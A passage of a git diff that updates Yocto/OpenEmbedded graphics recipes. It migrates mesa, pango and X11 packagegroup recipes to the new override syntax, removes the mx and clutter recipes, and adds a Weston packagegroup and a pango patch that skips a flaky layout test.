-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'lima', ',lima', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'lima', ',lima', '', d)}"
PACKAGECONFIG[panfrost] = ""
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'panfrost', ',panfrost', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'panfrost', ',panfrost', '', d)}"
-OSMESA = "${@bb.utils.contains('PACKAGECONFIG', 'gallium', 'gallium', 'classic', d)}"
-PACKAGECONFIG[osmesa] = "-Dosmesa=${OSMESA},-Dosmesa=none"
+PACKAGECONFIG[vulkan-beta] = "-Dvulkan-beta=true,-Dvulkan-beta=false"
-PACKAGECONFIG[unwind] = "-Dlibunwind=true,-Dlibunwind=false,libunwind"
+PACKAGECONFIG[osmesa] = "-Dosmesa=true,-Dosmesa=false"
-# mesa tries to run cross-built gen_matypes on build machine to get struct size information
-EXTRA_OEMESON_append = " -Dasm=false"
+PACKAGECONFIG[perfetto] = "-Dperfetto=true,-Dperfetto=false,libperfetto"
+
+PACKAGECONFIG[unwind] = "-Dlibunwind=enabled,-Dlibunwind=disabled,libunwind"
+
+PACKAGECONFIG[lmsensors] = "-Dlmsensors=enabled,-Dlmsensors=disabled,lmsensors"
+
+VIDEO_CODECS ?= "${@bb.utils.contains('LICENSE_FLAGS_ACCEPTED', 'commercial', 'all', 'all_free', d)}"
+PACKAGECONFIG[video-codecs] = "-Dvideo-codecs=${VIDEO_CODECS}, -Dvideo-codecs=''"
# llvmpipe is slow if compiled with -fomit-frame-pointer (e.g. -O2)
-FULL_OPTIMIZATION_append = " -fno-omit-frame-pointer"
+FULL_OPTIMIZATION:append = " -fno-omit-frame-pointer"
-CFLAGS_append_armv5 = " -DMISSING_64BIT_ATOMICS"
-CFLAGS_append_armv6 = " -DMISSING_64BIT_ATOMICS"
+CFLAGS:append:armv5 = " -DMISSING_64BIT_ATOMICS"
+CFLAGS:append:armv6 = " -DMISSING_64BIT_ATOMICS"
# Remove the mesa dependency on mesa-dev, as mesa is empty
-RDEPENDS_${PN}-dev = ""
+DEV_PKG_DEPENDENCY = ""
-# Add dependency so that GLES3 header don't need to be added manually
-RDEPENDS_libgles2-mesa-dev += "libgles3-mesa-dev"
+# Khronos documentation says that include/GLES2/gl2ext.h can be used for
+# OpenGL ES 3 specification as well as for OpenGL ES 2.
+# There can be applications including GLES2/gl2ext.h instead of GLES3/gl3ext.h
+# meaning we should probably bring in GLES2/gl2ext.h if someone asks for
+# development package of libgles3.
+RDEPENDS:libgles3-mesa-dev += "libgles2-mesa-dev"
+
+RDEPENDS:libopencl-mesa += "${@bb.utils.contains('PACKAGECONFIG', 'opencl', 'libclc spirv-tools', '', d)}"
PACKAGES =+ "libegl-mesa libegl-mesa-dev \
libosmesa libosmesa-dev \
libgl-mesa libgl-mesa-dev \
+ libglx-mesa libglx-mesa-dev \
libglapi libglapi-dev \
libgbm libgbm-dev \
libgles1-mesa libgles1-mesa-dev \
libgles2-mesa libgles2-mesa-dev \
libgles3-mesa libgles3-mesa-dev \
+ libopencl-mesa libopencl-mesa-dev \
libxatracker libxatracker-dev \
mesa-megadriver mesa-vulkan-drivers \
- mesa-vdpau-drivers \
+ mesa-vdpau-drivers mesa-tools \
"
-do_install_append () {
+do_install:append () {
# Drivers never need libtool .la files
rm -f ${D}${libdir}/dri/*.la
rm -f ${D}${libdir}/egl/*.la
rm -f ${D}${libdir}/gallium-pipe/*.la
rm -f ${D}${libdir}/gbm/*.la
- # it was packaged in libdricore9.1.3-1 and preventing upgrades when debian.bbclass was used
- chrpath --delete ${D}${libdir}/dri/*_dri.so || true
-
# libwayland-egl has been moved to wayland 1.15+
rm -f ${D}${libdir}/libwayland-egl*
rm -f ${D}${libdir}/pkgconfig/wayland-egl.pc
}
+do_install:append:class-native () {
+ if ${@bb.utils.contains('PACKAGECONFIG', 'opencl', 'true', 'false', d)}; then
+ install -d ${D}${bindir}
+ install -m0755 ${B}/src/intel/compiler/intel_clc ${D}${bindir}
+ fi
+}
+
# For the packages that make up the OpenGL interfaces, inject variables so that
# they don't get Debian-renamed (which would remove the -mesa suffix), and
# RPROVIDEs/RCONFLICTs on the generic libgl name.
python __anonymous() {
pkgconfig = (d.getVar('PACKAGECONFIG') or "").split()
+ suffix = ""
+ if "-native" in d.getVar("PN"):
+ suffix = "-native"
for p in (("egl", "libegl", "libegl1"),
- ("dri", "libgl", "libgl1"),
+ ("opengl", "libgl", "libgl1"),
+ ("glvnd", "libglx",),
("gles", "libgles1", "libglesv1-cm1"),
("gles", "libgles2", "libglesv2-2"),
- ("gles", "libgles3",)):
+ ("gles", "libgles3",),
+ ("opencl", "libopencl",)):
if not p[0] in pkgconfig:
continue
mlprefix = d.getVar("MLPREFIX")
- fullp = mlprefix + p[1] + "-mesa"
+ fullp = mlprefix + p[1] + "-mesa" + suffix
mlprefix = d.getVar("MLPREFIX")
- pkgs = " ".join(mlprefix + x for x in p[1:])
- d.setVar("DEBIAN_NOAUTONAME_" + fullp, "1")
- d.appendVar("RREPLACES_" + fullp, pkgs)
- d.appendVar("RPROVIDES_" + fullp, pkgs)
- d.appendVar("RCONFLICTS_" + fullp, pkgs)
+ pkgs = " " + " ".join(mlprefix + x + suffix for x in p[1:])
+ d.setVar("DEBIAN_NOAUTONAME:" + fullp, "1")
+ d.appendVar("RREPLACES:" + fullp, pkgs)
+ d.appendVar("RPROVIDES:" + fullp, pkgs)
+ d.appendVar("RCONFLICTS:" + fullp, pkgs)
- d.appendVar("RRECOMMENDS_" + fullp, " ${MLPREFIX}mesa-megadriver")
+ d.appendVar("RRECOMMENDS:" + fullp, " ${MLPREFIX}mesa-megadriver" + suffix)
# For -dev, the first element is both the Debian and original name
- fullp += "-dev"
- pkgs = mlprefix + p[1] + "-dev"
- d.setVar("DEBIAN_NOAUTONAME_" + fullp, "1")
- d.appendVar("RREPLACES_" + fullp, pkgs)
- d.appendVar("RPROVIDES_" + fullp, pkgs)
- d.appendVar("RCONFLICTS_" + fullp, pkgs)
+ fullp = mlprefix + p[1] + "-mesa-dev" + suffix
+ pkgs = " " + mlprefix + p[1] + "-dev" + suffix
+ d.setVar("DEBIAN_NOAUTONAME:" + fullp, "1")
+ d.appendVar("RREPLACES:" + fullp, pkgs)
+ d.appendVar("RPROVIDES:" + fullp, pkgs)
+ d.appendVar("RCONFLICTS:" + fullp, pkgs)
}
python mesa_populate_packages() {
pkgs = ['mesa', 'mesa-dev', 'mesa-dbg']
for pkg in pkgs:
- d.setVar("RPROVIDES_%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
- d.setVar("RCONFLICTS_%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
- d.setVar("RREPLACES_%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
+ d.setVar("RPROVIDES:%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
+ d.setVar("RCONFLICTS:%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
+ d.setVar("RREPLACES:%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
import re
dri_drivers_root = oe.path.join(d.getVar('PKGD'), d.getVar('libdir'), "dri")
if os.path.isdir(dri_drivers_root):
- dri_pkgs = os.listdir(dri_drivers_root)
+ dri_pkgs = sorted(os.listdir(dri_drivers_root))
lib_name = d.expand("${MLPREFIX}mesa-megadriver")
for p in dri_pkgs:
m = re.match(r'^(.*)_dri\.so$', p)
if m:
pkg_name = " ${MLPREFIX}mesa-driver-%s" % legitimize_package_name(m.group(1))
- d.appendVar("RPROVIDES_%s" % lib_name, pkg_name)
- d.appendVar("RCONFLICTS_%s" % lib_name, pkg_name)
- d.appendVar("RREPLACES_%s" % lib_name, pkg_name)
+ d.appendVar("RPROVIDES:%s" % lib_name, pkg_name)
+ d.appendVar("RCONFLICTS:%s" % lib_name, pkg_name)
+ d.appendVar("RREPLACES:%s" % lib_name, pkg_name)
pipe_drivers_root = os.path.join(d.getVar('libdir'), "gallium-pipe")
do_split_packages(d, pipe_drivers_root, r'^pipe_(.*)\.so$', 'mesa-driver-pipe-%s', 'Mesa %s pipe driver', extra_depends='')
}
-PACKAGESPLITFUNCS_prepend = "mesa_populate_packages "
+PACKAGESPLITFUNCS =+ "mesa_populate_packages"
PACKAGES_DYNAMIC += "^mesa-driver-.*"
-
-FILES_mesa-megadriver = "${libdir}/dri/* ${datadir}/drirc.d/00-mesa-defaults.conf"
-FILES_mesa-vulkan-drivers = "${libdir}/libvulkan_*.so ${datadir}/vulkan"
-FILES_${PN}-vdpau-drivers = "${libdir}/vdpau/*.so.*"
-FILES_libegl-mesa = "${libdir}/libEGL.so.*"
-FILES_libgbm = "${libdir}/libgbm.so.*"
-FILES_libgles1-mesa = "${libdir}/libGLESv1*.so.*"
-FILES_libgles2-mesa = "${libdir}/libGLESv2.so.*"
-FILES_libgl-mesa = "${libdir}/libGL.so.*"
-FILES_libglapi = "${libdir}/libglapi.so.*"
-FILES_libosmesa = "${libdir}/libOSMesa.so.*"
-FILES_libxatracker = "${libdir}/libxatracker.so.*"
-
-FILES_${PN}-dev = "${libdir}/pkgconfig/dri.pc ${includedir}/vulkan ${libdir}/vdpau/*.so"
-FILES_libegl-mesa-dev = "${libdir}/libEGL.* ${includedir}/EGL ${includedir}/KHR ${libdir}/pkgconfig/egl.pc"
-FILES_libgbm-dev = "${libdir}/libgbm.* ${libdir}/pkgconfig/gbm.pc ${includedir}/gbm.h"
-FILES_libgl-mesa-dev = "${libdir}/libGL.* ${includedir}/GL ${libdir}/pkgconfig/gl.pc"
-FILES_libglapi-dev = "${libdir}/libglapi.*"
-FILES_libgles1-mesa-dev = "${libdir}/libGLESv1*.* ${includedir}/GLES ${libdir}/pkgconfig/glesv1*.pc"
-FILES_libgles2-mesa-dev = "${libdir}/libGLESv2.* ${includedir}/GLES2 ${libdir}/pkgconfig/glesv2.pc"
-FILES_libgles3-mesa-dev = "${includedir}/GLES3"
-FILES_libosmesa-dev = "${libdir}/libOSMesa.* ${includedir}/GL/osmesa.h ${libdir}/pkgconfig/osmesa.pc"
-FILES_libxatracker-dev = "${libdir}/libxatracker.so ${libdir}/libxatracker.la \
+PACKAGES_DYNAMIC:class-native = "^mesa-driver-.*-native"
+
+FILES:mesa-megadriver = "${libdir}/dri/* ${datadir}/drirc.d"
+FILES:mesa-vulkan-drivers = "${libdir}/libvulkan_*.so ${libdir}/libpowervr_rogue.so ${datadir}/vulkan"
+FILES:${PN}-vdpau-drivers = "${libdir}/vdpau/*.so.*"
+FILES:libegl-mesa = "${libdir}/libEGL*.so.* ${datadir}/glvnd/egl_vendor.d"
+FILES:libgbm = "${libdir}/libgbm.so.*"
+FILES:libgles1-mesa = "${libdir}/libGLESv1*.so.*"
+FILES:libgles2-mesa = "${libdir}/libGLESv2.so.*"
+FILES:libgl-mesa = "${libdir}/libGL.so.*"
+FILES:libglx-mesa = "${libdir}/libGLX*.so.*"
+FILES:libopencl-mesa = "${libdir}/libMesaOpenCL.so.* ${libdir}/gallium-pipe/*.so ${sysconfdir}/OpenCL/vendors/mesa.icd"
+FILES:libglapi = "${libdir}/libglapi.so.*"
+FILES:libosmesa = "${libdir}/libOSMesa.so.*"
+FILES:libxatracker = "${libdir}/libxatracker.so.*"
+
+FILES:${PN}-dev = "${libdir}/pkgconfig/dri.pc ${includedir}/vulkan ${libdir}/vdpau/*.so"
+FILES:libegl-mesa-dev = "${libdir}/libEGL*.* ${includedir}/EGL ${includedir}/KHR ${libdir}/pkgconfig/egl.pc"
+FILES:libgbm-dev = "${libdir}/libgbm.* ${libdir}/pkgconfig/gbm.pc ${includedir}/gbm.h"
+FILES:libgl-mesa-dev = "${libdir}/libGL.* ${includedir}/GL ${libdir}/pkgconfig/gl.pc"
+FILES:libglx-mesa-dev = "${libdir}/libGLX*.*"
+FILES:libglapi-dev = "${libdir}/libglapi.*"
+FILES:libgles1-mesa-dev = "${libdir}/libGLESv1*.* ${includedir}/GLES ${libdir}/pkgconfig/glesv1*.pc"
+FILES:libgles2-mesa-dev = "${libdir}/libGLESv2.* ${includedir}/GLES2 ${libdir}/pkgconfig/glesv2.pc"
+FILES:libgles3-mesa-dev = "${includedir}/GLES3"
+FILES:libopencl-mesa-dev = "${libdir}/libMesaOpenCL.so"
+FILES:libosmesa-dev = "${libdir}/libOSMesa.* ${includedir}/GL/osmesa.h ${libdir}/pkgconfig/osmesa.pc"
+FILES:libxatracker-dev = "${libdir}/libxatracker.so ${libdir}/libxatracker.la \
${includedir}/xa_tracker.h ${includedir}/xa_composite.h ${includedir}/xa_context.h \
${libdir}/pkgconfig/xatracker.pc"
+# catch all to get all the tools and data
+FILES:${PN}-tools = "${bindir} ${datadir}"
+ALLOW_EMPTY:${PN}-tools = "1"
# Fix upgrade path from mesa to mesa-megadriver
-RREPLACES_mesa-megadriver = "mesa"
-RCONFLICTS_mesa-megadriver = "mesa"
-RPROVIDES_mesa-megadriver = "mesa"
+RREPLACES:mesa-megadriver = "mesa"
+RCONFLICTS:mesa-megadriver = "mesa"
+RPROVIDES:mesa-megadriver = "mesa"
diff --git a/meta/recipes-graphics/mesa/mesa_20.1.4.bb b/meta/recipes-graphics/mesa/mesa_24.0.3.bb
index 96e8aa38d6..96e8aa38d6 100644
--- a/meta/recipes-graphics/mesa/mesa_20.1.4.bb
+++ b/meta/recipes-graphics/mesa/mesa_24.0.3.bb
diff --git a/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb b/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb
index 4e89d631c3..ba81d0b17a 100644
--- a/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb
+++ b/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb
@@ -1,23 +1,23 @@
SUMMARY = "Very simple session manager for X"
+DESCRIPTION = "Simple session manager for X, that provides just the right boilerplate to create a session and launch the browser "
HOMEPAGE = "http://www.yoctoproject.org"
BUGTRACKER = "http://bugzilla.pokylinux.org"
-PR = "r4"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://mini-x-session;endline=5;md5=b6430bffbcf05f9760e72938826b7487"
SECTION = "x11"
-RCONFLICTS_${PN} = "matchbox-common"
+RCONFLICTS:${PN} = "matchbox-common"
SRC_URI = "file://mini-x-session"
S = "${WORKDIR}"
-RDEPENDS_${PN} = "sudo"
+RDEPENDS:${PN} = "sudo"
inherit update-alternatives
-ALTERNATIVE_${PN} = "x-session-manager"
+ALTERNATIVE:${PN} = "x-session-manager"
ALTERNATIVE_TARGET[x-session-manager] = "${bindir}/mini-x-session"
ALTERNATIVE_PRIORITY = "50"
diff --git a/meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch b/meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch
deleted file mode 100644
index 82c93dd604..0000000000
--- a/meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Fix missing include directory when building tests
-
-This patch is currently required for all versions of mx
-Upstream-Status: Submitted @ https://github.com/clutter-project/mx/issues/82
-Signed-off-by: Tomas Frydrych <tomas@sleepfive.com>
---
-Index: git/tests/Makefile.am
-===================================================================
---- git.orig/tests/Makefile.am 2013-05-08 15:18:56.918596425 +0100
-+++ git/tests/Makefile.am 2013-05-08 15:23:26.864781401 +0100
-@@ -10,7 +10,8 @@
-
- INCLUDES = \
- -I$(top_srcdir) \
-- -I$(top_builddir)
-+ -I$(top_builddir)\
-+ -I$(top_builddir)/mx
-
- noinst_PROGRAMS = \
- test-deform-texture \
diff --git a/meta/recipes-graphics/mx/mx-1.0_1.4.7.bb b/meta/recipes-graphics/mx/mx-1.0_1.4.7.bb
deleted file mode 100644
index 58a6997ffe..0000000000
--- a/meta/recipes-graphics/mx/mx-1.0_1.4.7.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-require mx.inc
-
-# The 1.4.7 tag does not build against cogl 1.14, pull in a revision with a fix
-SRCREV = "9b1db6b8060bd00b121a692f942404a24ae2960f"
-PV = "1.4.7+git${SRCPV}"
-
-# Exclude x.99.x versions from upstream checks
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>^\d+(\.(?!99)\d+)+)"
-
-SRC_URI = "git://github.com/clutter-project/mx.git;branch=mx-1.4 \
- file://fix-test-includes.patch \
- "
-S = "${WORKDIR}/git"
-
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=fbc093901857fcd118f065f900982c24 \
- file://mx/mx-widget.c;beginline=8;endline=20;md5=13bba3c973a72414a701e1e87b5ee879"
diff --git a/meta/recipes-graphics/mx/mx.inc b/meta/recipes-graphics/mx/mx.inc
deleted file mode 100644
index 714a06f0af..0000000000
--- a/meta/recipes-graphics/mx/mx.inc
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Clutter based UI widget library"
-LICENSE = "LGPLv2.1"
-
-inherit clutter autotools features_check gobject-introspection gtk-doc
-# depends on clutter-1.0 which depends on cogl-1.0
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-DEPENDS = "intltool-native clutter-1.0 dbus-glib gdk-pixbuf"
-
-SRC_URI = "http://source.clutter-project.org/sources/mx/${@get_verdir("${PV}")}/mx-${PV}.tar.xz"
-
-EXTRA_OECONF = "--disable-gtk-widgets \
- --with-dbus \
- --with-winsys=none \
- --without-clutter-imcontext \
- --without-clutter-gesture \
- --without-startup-notification \
- --without-glade \
- "
-
-FILES_${PN} += "${datadir}"
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb
deleted file mode 100644
index 2e7b47dd40..0000000000
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-#
-# Copyright (C) 2007 OpenedHand Ltd.
-#
-
-SUMMARY = "Clutter package groups"
-
-PR = "r6"
-
-inherit packagegroup features_check
-# rdepends on clutter-*
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-PACKAGES = "\
- ${PN}-core \
- "
-
-SUMMARY_${PN}-core = "Clutter graphics library"
-RDEPENDS_${PN}-core = "\
- clutter-1.0 \
- clutter-gst-3.0 \
- clutter-gtk-1.0 \
- "
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb
new file mode 100644
index 0000000000..dd302c89e7
--- /dev/null
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Basic Weston compositor setup"
+DESCRIPTION = "Packages required to set up a basic working Weston session"
+
+inherit packagegroup features_check
+
+# weston-init requires pam enabled if started via systemd
+REQUIRED_DISTRO_FEATURES = "wayland ${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', 'pam', '', d)}"
+
+RDEPENDS:${PN} = "\
+ weston \
+ weston-init \
+ weston-examples \
+ wayland-utils \
+ "
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb
index 9ca2705a5f..db6242af33 100644
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb
@@ -1,15 +1,13 @@
SUMMARY = "Basic X11 session"
DESCRIPTION = "Packages required to set up a basic working X11 session"
-PR = "r1"
inherit packagegroup features_check
# rdepends on matchbox-wm
REQUIRED_DISTRO_FEATURES = "x11"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
packagegroup-core-x11-xserver \
packagegroup-core-x11-utils \
- dbus \
matchbox-terminal \
matchbox-wm \
mini-x-session \
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb
index a0b944a678..ebc1330055 100644
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb
@@ -3,7 +3,6 @@
#
SUMMARY = "X11 display server"
-PR = "r40"
PACKAGE_ARCH = "${MACHINE_ARCH}"
@@ -11,10 +10,13 @@ inherit packagegroup features_check
# rdepends on XSERVER
REQUIRED_DISTRO_FEATURES = "x11"
-XSERVER ?= "xserver-xorg xf86-video-fbdev"
+XSERVER ?= "xserver-xorg \
+ xf86-video-fbdev \
+ xf86-video-modesetting \
+ "
XSERVERCODECS ?= ""
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${XSERVER} \
${XSERVERCODECS} \
"
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb
index cddf1932f3..91db7ed33b 100644
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb
@@ -2,7 +2,6 @@
# Copyright (C) 2011 Intel Corporation
#
-PR = "r40"
inherit packagegroup features_check
REQUIRED_DISTRO_FEATURES = "x11"
@@ -16,13 +15,13 @@ VIRTUAL-RUNTIME_xserver_common ?= ""
VIRTUAL-RUNTIME_graphical_init_manager ?= "xserver-nodm-init"
SUMMARY = "X11 display server and basic utilities"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${PN}-xserver \
${PN}-utils \
"
-SUMMARY_${PN}-utils = "X11 basic utilities and init"
-RDEPENDS_${PN}-utils = "\
+SUMMARY:${PN}-utils = "X11 basic utilities and init"
+RDEPENDS:${PN}-utils = "\
${VIRTUAL-RUNTIME_xserver_common} \
${VIRTUAL-RUNTIME_graphical_init_manager} \
xauth \
diff --git a/meta/recipes-graphics/pango/pango/0001-Fix-build-reproducibility.patch b/meta/recipes-graphics/pango/pango/0001-Fix-build-reproducibility.patch
deleted file mode 100644
index 03abf8763c..0000000000
--- a/meta/recipes-graphics/pango/pango/0001-Fix-build-reproducibility.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From f8b32901981a06a8db4169b82a704dcf7e8b6560 Mon Sep 17 00:00:00 2001
-From: Joshua Watt <JPEWhacker@gmail.com>
-Date: Wed, 20 Nov 2019 15:43:57 -0600
-Subject: [PATCH] Fix build reproducibility
-
-Changes the comment in pango-enum-types.c to reference the file basename
-instead of the full path. This ensures that the generated file is
-reproducible when it is included in source packages meant for debugging.
-
-Upstream-Status: Pending [https://gitlab.gnome.org/GNOME/pango/merge_requests/159]
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
----
- pango/pango-enum-types.c.template | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/pango/pango-enum-types.c.template b/pango/pango-enum-types.c.template
-index d922c691..0d55ef74 100644
---- a/pango/pango-enum-types.c.template
-+++ b/pango/pango-enum-types.c.template
-@@ -6,7 +6,7 @@
- /*** END file-header ***/
-
- /*** BEGIN file-production ***/
--/* enumerations from "@filename@" */
-+/* enumerations from "@basename@" */
- /*** END file-production ***/
-
- /*** BEGIN value-header ***/
---
-2.23.0
-
diff --git a/meta/recipes-graphics/pango/pango/0001-Skip-running-test-layout-test.patch b/meta/recipes-graphics/pango/pango/0001-Skip-running-test-layout-test.patch
new file mode 100644
index 0000000000..ec7fb4727e
--- /dev/null
+++ b/meta/recipes-graphics/pango/pango/0001-Skip-running-test-layout-test.patch
@@ -0,0 +1,45 @@
+From b9bfe3a79f165682a6db3d7ee1928365e93b1ccf Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 13 Apr 2022 19:39:29 -0700
+Subject: [PATCH] Skip running test-layout test
+
+This fails intermittently, it varies based on what version of harfbuzz
+is installed and if it does not match with what pango CI tests then we
+get random failures in this test. This has been disabled in other
+distros [1] too
+
+We want to drop this on next upgrade and see if this test passes if not
+then keep it disabled
+
+Fixes
+
+Running test: pango/test-layout.test
+1..36
+ok 1 /layout/letterspacing.layout
+ok 2 /layout/valid-7.layout
+not ok 3 /layout/valid-14.layout
+Bail out!
+FAIL: pango/test-layout.test (Child process killed by signal 6)
+
+[1] https://github.com/archlinux/svntogit-packages/commit/3f883e7ff8071adad23b6bcc0ba4b995aff10d52
+
+Upstream-Status: Inappropriate [bugfix https://gitlab.gnome.org/GNOME/pango/-/issues/677]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ tests/test-layout.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/test-layout.c b/tests/test-layout.c
+index 1139e4f..b47a066 100644
+--- a/tests/test-layout.c
++++ b/tests/test-layout.c
+@@ -222,5 +222,5 @@ main (int argc, char *argv[])
+ }
+ g_dir_close (dir);
+
+- return g_test_run ();
++ return 77;
+ }
+--
+2.35.2
+
diff --git a/meta/recipes-graphics/pango/pango/run-ptest b/meta/recipes-graphics/pango/pango/run-ptest
index fa87a75779..e1fab050ef 100644
--- a/meta/recipes-graphics/pango/pango/run-ptest
+++ b/meta/recipes-graphics/pango/pango/run-ptest
@@ -1,3 +1,6 @@
#! /bin/sh
+# workaround for https://gitlab.gnome.org/GNOME/pango/-/issues/668
+mkdir -p /usr/share/fonts/pango-private
+cp -rf /usr/libexec/installed-tests/pango/fonts/* /usr/share/fonts/pango-private
gnome-desktop-testing-runner pango
diff --git a/meta/recipes-graphics/pango/pango_1.44.7.bb b/meta/recipes-graphics/pango/pango_1.44.7.bb
deleted file mode 100644
index 0ee8abcc09..0000000000
--- a/meta/recipes-graphics/pango/pango_1.44.7.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Framework for layout and rendering of internationalized text"
-DESCRIPTION = "Pango is a library for laying out and rendering of text, \
-with an emphasis on internationalization. Pango can be used anywhere \
-that text layout is needed, though most of the work on Pango so far has \
-been done in the context of the GTK+ widget toolkit. Pango forms the \
-core of text and font handling for GTK+-2.x."
-HOMEPAGE = "http://www.pango.org/"
-BUGTRACKER = "http://bugzilla.gnome.org"
-SECTION = "libs"
-LICENSE = "LGPLv2.0+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7"
-
-GNOMEBASEBUILDCLASS = "meson"
-
-inherit gnomebase gtk-doc ptest-gnome upstream-version-is-even gobject-introspection
-
-SRC_URI += "file://run-ptest \
- file://0001-Fix-build-reproducibility.patch"
-SRC_URI[archive.md5sum] = "c75cc5b833d934d98e83343832e20e5d"
-SRC_URI[archive.sha256sum] = "66a5b6cc13db73efed67b8e933584509f8ddb7b10a8a40c3850ca4a985ea1b1f"
-
-DEPENDS = "glib-2.0 glib-2.0-native fontconfig freetype virtual/libiconv cairo harfbuzz fribidi"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} \
- ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
-
-PACKAGECONFIG[x11] = ",,virtual/libx11 libxft"
-PACKAGECONFIG[tests] = "-Dinstall-tests=true, -Dinstall-tests=false"
-PACKAGECONFIG[thai] = ",,libthai"
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-GIR_MESON_OPTION = 'introspection'
-
-do_configure_prepend_toolchain-clang() {
- sed -i -e "/Werror=implicit-fallthrough/d" ${S}/meson.build
-}
-
-LEAD_SONAME = "libpango-1.0*"
-
-FILES_${PN} = "${bindir}/* ${libdir}/libpango*${SOLIBS}"
-
-RDEPENDS_${PN}-ptest += "cantarell-fonts"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " locale-base-en-us"
-
-RPROVIDES_${PN} += "pango-modules pango-module-indic-lang \
- pango-module-basic-fc pango-module-arabic-lang"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/pango/pango_1.52.1.bb b/meta/recipes-graphics/pango/pango_1.52.1.bb
new file mode 100644
index 0000000000..a67c3791a2
--- /dev/null
+++ b/meta/recipes-graphics/pango/pango_1.52.1.bb
@@ -0,0 +1,53 @@
+SUMMARY = "Framework for layout and rendering of internationalized text"
+DESCRIPTION = "Pango is a library for laying out and rendering of text, \
+with an emphasis on internationalization. Pango can be used anywhere \
+that text layout is needed, though most of the work on Pango so far has \
+been done in the context of the GTK+ widget toolkit. Pango forms the \
+core of text and font handling for GTK+-2.x."
+HOMEPAGE = "http://www.pango.org/"
+BUGTRACKER = "http://bugzilla.gnome.org"
+SECTION = "libs"
+LICENSE = "LGPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7"
+
+
+inherit gnomebase gi-docgen ptest-gnome upstream-version-is-even gobject-introspection
+
+UPSTREAM_CHECK_REGEX = "pango-(?P<pver>\d+\.(?!9\d+)\d+\.\d+)"
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+SRC_URI += "file://run-ptest \
+ file://0001-Skip-running-test-layout-test.patch \
+ "
+
+SRC_URI[archive.sha256sum] = "58728a0a2d86f60761208df9493033d18ecb2497abac80ee1a274ad0c6e55f0f"
+
+DEPENDS = "glib-2.0 glib-2.0-native fontconfig freetype virtual/libiconv cairo harfbuzz fribidi"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+
+PACKAGECONFIG[x11] = ",,virtual/libx11 libxft"
+PACKAGECONFIG[tests] = "-Dinstall-tests=true, -Dinstall-tests=false"
